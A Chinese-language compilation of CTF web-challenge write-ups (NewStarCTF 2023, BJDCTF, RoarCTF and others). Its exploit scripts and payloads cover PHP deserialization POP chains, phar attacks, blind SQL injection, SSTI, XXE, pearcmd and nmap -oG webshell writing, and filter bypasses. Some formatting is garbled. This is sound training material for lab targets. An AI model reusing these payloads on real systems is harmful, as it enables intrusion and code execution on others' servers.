[NewStarCTF 公开赛赛道]UnserializeOne
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <?php error_reporting(0); highlight_file(__FILE__); \ class Start{ public $name; protected $func; public function __destruct() { echo "Welcome to NewStarCTF, ".$this->name; } public function __isset($var) { ($this->func)(); } } class Sec{ private $obj; private $var; public function __toString() { $this->obj->check($this->var); return "CTFers"; } public function __invoke() { echo file_get_contents('/flag'); } } class Easy{ public $cla; public function __call($fun, $var) { $this->cla = clone $var[0]; } } class eeee{ public $obj; public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } } if(isset($_POST['pop'])){ unserialize($_POST['pop']); } php反序列化题目 pop链构造destruct----》call--->clone---->tostring--->invoke <?php highlight_file(__FILE__); class Start{ public $name; public $func; } class Sec{ public $obj; public $var; } class Easy{ public $cla; } class eeee{ public $obj; } $res = new Start; $res->name = new Sec; $res->name->obj = new Easy; $res->name->var=new eeee; $res->name->var->obj=new Start; $res->name->var->obj->func=new Sec; echo serialize($res); ?>
|
[NewStarCTF 2023 公开赛道]R!C!E!
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){ $password=md5($_POST['password']); $code=$_POST['e_v.a.l']; if(substr($password,0,6)==="c4d038"){ if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code); } } }
|
对参数password进行md5处理,检测其前6位是否是所需要的值,之后对输入的命令进行了过滤
还有”-“被解析为” .”iscc碰见过
使用[即可(post传参特性)
password=USriMT35mYgUlenwusWV&e[v.a.l=echo(more /fl\ag
);
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import multiprocessing import hashlib import random import string import sys CHARS = string.ascii_letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds.encode('utf-8')) if md5.hexdigest()[start: start+str_len] == substr: print (rnds) stop_event.set() if __name__ == '__main__': substr = "c4d038" str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, 0)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join()
|
[NewStarCTF 2023 公开赛道]EasyLogin
是个登录系统抓包爆破,密码使用md5进行加密
账户admin密码000000
登录抓包
登录进入界面得到flag
[NewStarCTF 2023 公开赛道]Begin of HTTP
根据提示抓包一步一步进行即可
最后一步修改本地ip地址发现常规X-Forwarded-For: 127.0.0.1无法成功
1 Client-IP:127.0.0.1
2 Forwarded-For-Ip: 127.0.0.1
3 Forwarded-For: 127.0.0.1
4 Forwarded-For: localhost
5 Forwarded:127.0.0.1
6 Forwarded: localhost
7 True-Client-IP:127.0.0.1
8 X-Client-IP: 127.0.0.1
9 X-Custom-IP-Authorization : 127.0.0.1
10 X-Forward-For: 127.0.0.1
11 X-Forward: 127.0.0.1
12 X-Forward: localhost
13 X-Forwarded-By:127.0.0.1
14 X-Forwarded-By: localhost
15 X-Forwarded-For-Original: 127.0.0.1
16 X-Forwarded-For-original: localhost
17 X-Forwarded-For: 127.0.0.1
18 X-Forwarded-For: localhost
19 X-Forwarded-Server: 127.0.0.1
20 X-Forwarded-Server: localhost
21 X-Forwarded: 127.0.0.1
22 X-Forwarded: localhost
23 X-Forwared-Host: 127.0.0.1
24 X-Forwared-Host: localhost
25 X-Host: 127.0.0.1
26 X-Host: localhost
27 X-HTTP-Host-Override : 127.0.0.1
28 X-Originating-IP: 127.0.0.1
29 X-Real-IP: 127.0.0.1
30 X-Remote-Addr: 127.0.0.1
31 X-Remote-Addr : localhost
32 X-Remote-IP: 127.0.0.1
一个一个实验发现 X-Real-IP: 127.0.0.1可以
[NewStarCTF 2023 公开赛道]Begin of Upload
文件上传,先尝试几个文件上传图片后抓包更改后缀发现直接能传入
[NewStarCTF 2023 公开赛道]Begin of PHP
全部使用数组绕过即可
key1[]=1
&key2[]=2
&key4[]=1
&key5[]=2024
key3[]=1&flag5[]=.
[NewStarCTF 2023 公开赛道]泄漏的秘密
robots.txt存在一半flag,扫出网站备份www.zip得到另一半
[NewStarCTF 2023 公开赛道]ez_sql
测试存在waf对and or等关键字都进行了过滤 使用大小写绕过即可
?id=-1’ UniOn seLect database(),2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= ‘ctf’–+
http://ff3d18d2-74a4-405a-a674-099ca58fd1b1.node5.buuoj.cn:81/?id=-1‘ UniOn seLect database(),2,3,4,flag FROM here_is_flag –+
flag{f1cb957b-fa7d-4e98-b769-4b9c9f60f0e9}
[NewStarCTF 2023 公开赛道]Upload again!
对文件后缀和文件内容存在一定情况的过滤
配合.htaccess文件上传以下木马即可
[NewStarCTF 2023 公开赛道]游戏高手
查看源代码发现需要gameScore的值大于一定的数才给flag
控制台修改成功
[NewStarCTF 2023 公开赛道]Include 🍐
根据提示读取phpinfo.php文件搜索flag
给出提示查看register_argc_argv
发现上网查询资料发现register_argc_argv可以进行rce
通过调用pearcmd.php进行rce
register_argc_argv的两个特点
1.&符无发分割参数,真正能分割参数的是加号
2.等号无法赋值,而是会直接被传进去当作参数
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/test.php
模拟pear指令创建一个test.php的木马文件
参考文章Docker PHP裸文件本地包含综述 - 跳跳糖
[NewStarCTF 2023 公开赛道]R!!C!!E!!
git文件泄露
1 2 3 4 5 6 7 8 9
| rcebo0g1pop.php <?php highlight_file(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); } }
|
无参数rce
对请求头进行修改即可
eval(pos(array_reverse(getallheaders())));
[NewStarCTF 2023 公开赛道]Unserialize?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__);
class evil { private $cmd;
public function __destruct() { if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ @system($this->cmd); } } }
@unserialize($_POST['unser']); ?>
|
直接序列化evil即可
注意private属性需要在前后加入%00
unser=O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:35:”ca\t /th1s_1s_fffflllll4444aaaggggg”;}
使用\绕过正则即可
[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!
反序列化加rce
实例化对象触发 __destruct之后再触发 tostring
$a = new minipop;
$b = new minipop;
$b -> qwejaskdjnlka=$a;
通过单引号绕过用tee将指令执行结果输出
cat /flag_is_h3eeere | t''ee 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php highlight_file(__FILE__); class minipop{ public $code="cat /flag_is_h3eeere | t''ee 1"; public $qwejaskdjnlka; public function __toString() { if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; } } if(isset($_POST['payload'])){ unserialize($_POST['payload']); } $a = new minipop; $b = new minipop; $b -> qwejaskdjnlka=$a; echo (serialize($b));
|
[NewStarCTF 2023 公开赛道]POP Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php highlight_file(__FILE__); class Begin{ public $name; public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } } class Then{ private $func; public function __toString() { ($this->func)(); return "Good Job!"; } } class Handle{ protected $obj; public function __call($func, $vars) { $this->obj->end(); } } class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); } } class CTF{ public $handle; public function end() { unset($this->handle->log); } } class WhiteGod{ public $func; public $var; public function __unset($var) { ($this->func)($this->var); } } @unserialize($_POST['pop']);
|
发现在whitegod中可以进行rce
构造pop链begin——>then—->super—->handle—->ctf—–>whitegod
pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?php
highlight_file(__FILE__);
class Begin{
public $name;
}
class Then{
public $func;
}
class Handle{
public $obj;
}
class Super{
public $obj;
}
class CTF{
public $handle;
}
class WhiteGod{
public $func="system";
public $var="ls /";
}
$pop=new Begin();
$pop->name=new Then();
$pop->name->func=new Super();
$pop->name->func->obj=new Handle();
$pop->name->func->obj->obj=new CTF();
$pop->name->func->obj->obj->handle=new WhiteGod();
echo serialize($pop);
|
[NewStarCTF 2023 公开赛道]More Fast
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php highlight_file(__FILE__); class Start{ public $errMsg; public function __destruct() { die($this->errMsg); } } class Pwn{ public $obj; public function __invoke(){ $this->obj->evil(); } public function evil() { phpinfo(); } } class Reverse{ public $func; public function __get($var) { ($this->func)(); } } class Web{ public $func; public $var; public function evil() { if(!preg_match("/flag/i",$this->var)){ ($this->func)($this->var); }else{ echo "Not Flag"; } } } class Crypto{ public $obj; public function __toString() { $wel = $this->obj->good; return "NewStar"; } } class Misc{ public function evil() { echo "good job but nothing"; } } $a = @unserialize($_POST['fast']); throw new Exception("Nope");
|
有一个gc回收机制,所有要在触发前利用die提前停止
另外PHP 的特性:die(object)
会隐式调用 __toString()
crypto中有未知属性good会调用get
在crypto中会调用函数触发invoke
pwn中的evil为web中的对象
所有pop链应从start—>crypto—>reverse—>pwn—>web
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| <?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func='system';
public $var='cat /fl\ag';
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$Start = new Start();
$web = new Web();
$pwn = new Pwn();
$crypto = new Crypto();
$reverse = new Reverse();
$misc = new Misc();
$Start->errMsg=$crypto;
$crypto->obj=$reverse;
$reverse->func=$pwn;
$pwn->obj=$web;
echo serialize($Start);
|
但是不理解为什么要将payload最后的}删去
[NewStarCTF 2023 公开赛道]逃
字符串增多的逃逸题目
key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET[‘key’])))); 利用替换增加的一个字符构造指令将越来的踢出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
$b=new GetFlag("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"ls /\";}"); echo serialize($b); echo waf(serialize($b));
|
[NewStarCTF 2023 公开赛道]PharOne phar反序列化 发现源码中存在class.php文件 上传phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Flag{ public $cmd; public function __construct() { $this->cmd = "echo '<?=eval(\$_GET[1]);?>'>/var/www/html/1.php"; } } $a = new Flag(); $phar = new Phar('A.phar'); $phar->startBuffering(); $phar->addFromString('test.txt','test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->stopBuffering(); ?>
|
直接上传发现其过滤掉了__HALT_COMPILER(), gzip压缩绕过 参考文章PHP(Phar) 反序列化漏洞及各种绕过姿势 压缩后使用jpg后缀即可 上传后使用phar协议读取文件即可执行phar文件上传木马 file=phar://upload/156005c5baf40ff51a327f1c34f2975b.jpg # [NewStarCTF 2023 公开赛道]Unserialize Again
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php highlight_file(__FILE__); error_reporting(0); class story{ private $user='admin'; public $pass; public $eating; public $God='false'; public function __wakeup(){ $this->user='human'; if(1==1){ die(); } if(1!=1){ echo $fffflag; } } public function __construct(){ $this->user='AshenOne'; $this->eating='fire'; die(); } public function __tostring(){ return $this->user.$this->pass; } public function __invoke(){ if($this->user=='admin'&&$this->pass=='admin'){ echo $nothing; } } public function __destruct(){ if($this->God=='true'&&$this->user=='admin'){ system($this->eating); } else{ die('Get Out!'); } } } if(isset($_GET['pear'])&&isset($_GET['apple'])){ $pear=$_GET['pear']; $Adam=$_GET['apple']; $file=file_get_contents('php://input'); file_put_contents($pear,urldecode($file)); file_exists($Adam); } else{ echo '多吃雪梨'; }
|
查看源码,发现在最后能过文件上传直接尝试通过传参上传文件 发现可以上传php文件没有过滤 并且上传成功的木马可以被解析 应该是非预期解,预期应该通过phar反序列化进行做题。 阅读代码发现利用点在 没有unsearsize这样的利用点 file_exists可以被phar进行利用 利用gc回收机制绕过weakup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $eating='ls /';
public $God='ture';
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
$a=new story();
$phar=new phar('phar.phar');
$phar->startBuffering();
$phar->addFromString("a.txt", "666");
$phar->setDefaultStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
?>
|
[NewStarCTF 2023 公开赛道]midsql 尝试注入 发现过滤了空格和=使用/**/和like进行绕过即可 但是发现其无回显,使用时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import time import requests url = 'http://e8dc055e-b6d6-46c3-9770-01d66d39ee7d.node5.buuoj.cn:81/?id=' database_name = "" for i in range(1, 100): left = 32 right = 128 mid = (left + right) // 2 while left < right: payload = url + f"1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#" start_time = time.time() response = requests.get(payload).text end_time = time.time() use_time = end_time - start_time if use_time > 2: left = mid + 1 else: right = mid mid = (left + right) // 2 print(mid) database_name += chr(mid) print(database_name)
|
—|—
[GWCTF 2019]我有一个数据库
# [WUSTCTF2020]朴实无华
先扫目录有robots.txt查看发现假的flag 抓包发现响应头中隐藏这一个页面 /fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__);
if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看你,看我的动力淡了,不是想看时间,只是想不经意间让你知道我曾经比你好.</br>"; }else{ die("用钱解决不了空虚人的本质问题"); } }else{ die("这不算闯关"); }
if (isset($_GET['md5'])){ $md5 = $_GET['md5']; if ($md5 == md5($md5)) echo "想要在这个CTFer拿到flag么,意识流溢出,前往东郊村,找到一定的线索,把推理讲出去,自然有道,才学可窃.</br>"; else die("我从烧烤摊看我的眼神里,看他打了个电话,把他一定安排到不是闯关的人"); }else{ die("这不算闯关"); }
if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if (!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想要到这里,我得完全破防,有钱人的心理多多少少就是这样的空虚无聊,并且自私.</br>"; system($get_flag); }else{ die("马上滚出考场"); } }else{ die("这不算闯关"); } ?> {% asset_img image-20250707021034112.png image-20250707021034112 %}
|
第一层科学计数法绕过,第二层md5若比较 使用$IFS$9来绕过对空格的过滤 ?num=11e3&md5;=0e215962017&get;_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag # [BJDCTF2020]Mark loves cat dirsearch扫目录发现.git可能存在源码泄露上网 但是使用githack无法拉取下来源码,可能是题目环境问题 上网查找源码
<?php // 包含外部文件 'flag.php',可能包含变量 $flag include 'flag.php'; // 初始化三个变量 $yds = "dog"; // $yds 被设置为 "dog" $is = "cat"; // $is 被设置为 "cat" $handsome = 'yds'; // $handsome 被设置为字符串 'yds' // 遍历 $_POST 数组,将每个键值对赋值给动态生成的变量 foreach($_POST as $x => $y){ $$x = $y; // 例如,如果 $_POST 包含 'foo' => 'bar',则生成 $foo = 'bar' } // 遍历 $_GET 数组,将每个键值对赋值给动态生成的变量 foreach($_GET as $x => $y){ $$x = $$y; // 例如,如果 $_GET 包含 'foo' => 'bar',则生成 $foo = $bar 的值 } // 再次遍历 $_GET 数组,检查特定条件 foreach($_GET as $x => $y){ // 如果 $_GET['flag'] 的值等于当前键名且键名不为 'flag' if($_GET['flag'] === $x && $x !== 'flag'){ // 输出 $handsome 的值并终止脚本执行 exit($handsome); } } // 检查是否存在 $_GET['flag'] 或 $_POST['flag'] if(!isset($_GET['flag']) && !isset($_POST['flag'])){ // 如果这两个参数都没有被设置,输出 $yds 的值并终止脚本执行 exit($yds); } // 检查 $_POST['flag'] 或 $_GET['flag'] 是否等于字符串 'flag' if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ // 如果其中一个等于 'flag',输出 $is 的值并终止脚本执行 exit($is); } // 最后输出变量 $flag 的值 echo "the flag is: ".$flag; ?>
查看源码考察变量覆盖 就是通过为变量赋值另外的一个变量的变量名来进行绕过 ?handsome=flag&flag;=x&x;=flag [CISCN2019 华东南赛区]Web11 根据内容推测ssrf 更改为本地ip,发现右上角IP地址改变,应该是注入点fuzz识别是什么注入漏洞 应该是ssti模板注入 dirsearch扫描发现是smarty 模板 {system('cat /flag')} 上网查寻可以直接使用system进行rce # [BJDCTF2020]The mystery of ip 查看ip测试更改本地ip发现会直接回显,测试ssti发现 测试模板类型 发现是smarty 直接使用system进行测试 能够直接执行指令 # [BJDCTF2020]ZJCTF,不过如此 ?text=php://input&file;=php://filter/convert.base64-encode/resource=next.php 使用input和filter协议阅读next.php文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $id = $_GET['id']; $_SESSION['id'] = $id;
function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); }
foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }
function getFlag(){ @eval($_GET['cmd']); }
|
查看代码发现需要使用getflag这个函数来进行rce 在php5中preg_replace /e存在漏洞可以进行命令执行 通过\S让其匹配空字符来确定后面可以调用getflag函数来进行rce \S*={${getFlag()}}&cmd;=system(‘cat /flag’);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); } 其使用了 $host = escapeshellarg($host); $host = escapeshellcmd($host);
|
来避免rce漏洞但是当两者一块使用时反而会触发漏洞 其会对特殊字符进行转义 ‘
-oG mayi.php ‘
利用nmap的参数生成带有一句话木马的文件即可
[NCTF2019]Fake XML cookbook
题目提示xxe注入
function doLogin(){
var username = $(“#username”).val();
var password = $(“#password”).val();
if(username == “” || password == “”){
alert(“Please enter the username and password!”);
return;
}
var data = ““ + username + ““ + password + ““;
$.ajax({
type: “POST”,
url: “doLogin.php”,上
contentType: “application/xml;charset=utf-8”,
data: data,
dataType: “xml”,
anysc: false,
success: function (result) {
var code = result.getElementsByTagName(“code”)[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName(“msg”)[0].childNodes[0].nodeValue;
if(code == “0”){
$(“.msg”).text(msg + “ login fail!”);
}else if(code == “1”){
$(“.msg”).text(msg + “ login success!”);
}else{
$(“.msg”).text(“error:” + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(“.msg”).text(errorThrown + ‘:’ + textStatus);
}
});
}
查看源代码通过post将参数传入道doLogin.php之中进行判断
1111使用下述xml进行测试
]>
&xxe;
]>
&xxe;
可直接出来数据内容,注意xml的格式在引用时&admin后需要加入;
在xxe注入中需要注意xml文件的格式
[BJDCTF2020]Cookie is so stable
存在注入点,输入什么回显什么
测试为ssti注入
通过进一步测试发现为jwit模板注入
使用常用payload进行注入,成功执行
1
| {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
|
[VNCTF2023]象棋王子
在源码里发现了js混淆的代码
该内容能直接执行故丢到控制台去看看成功获取flag
[网鼎杯 2020 朱雀组]Nmap
该题目与前面的
[BUUCTF 2018]Online Tool很像利用nmap的-og参数将木马写入文件内,不过该题目队对php有个过滤使用以下payload即可
127.0.0.1 | ‘ -oG shell.phtml ‘
[RoarCTF 2019]Easy Java
前置知识:
WEB-INF是java的WEB应用的安全目录。
1.WEB-INF/web.xml
web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
2.WEB-INF/classes
包含了站点所有用的class文件,包括servlet class和非servlet class
3.WEB-INF/lib
存放web应用需要的JAR文件
4.WEB-INF/src
源码目录,按照包名结构放置各个java文件
5.WEB-INF/database.properties
数据库配置文件
6.WEB-INF/tags
存放了自定义标签文件
7.WEB-INF/jsp
jsp 1.2 一下版本的文件存放位置。
8.WEB-INF/jsp2
存放jsp2.0以下版本的文件。
9.META-INF
相当于一个信息包。
Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。
Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录(请注意这里,是通过Nginx,而不是Tomcat访问到的,因为上面已经说到,Tomcat是禁止访问这个目录的。)。
直接在域名后面加上WEB-INF/web.xml就可以了
当攻击者通过传入恶意的name
参数值为WEB-INF/web.xml
时可以读取Web应用的配置信息
相当于一个文件任意读取
[WesternCTF2018]shrine
[2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]cat flag
根据提示管理员访问过flag那就寻找日志文件
?cmd=/var/log/nginx/access.log
发先flag文件但是有过滤
然后就是想办法绕过escapeshellarg
由于escapeshellarg并不会检测或移除“不可见字符”所以使用以下payload即可
?cmd=this_is_final_fl%ffag_e2a457126032b42d.php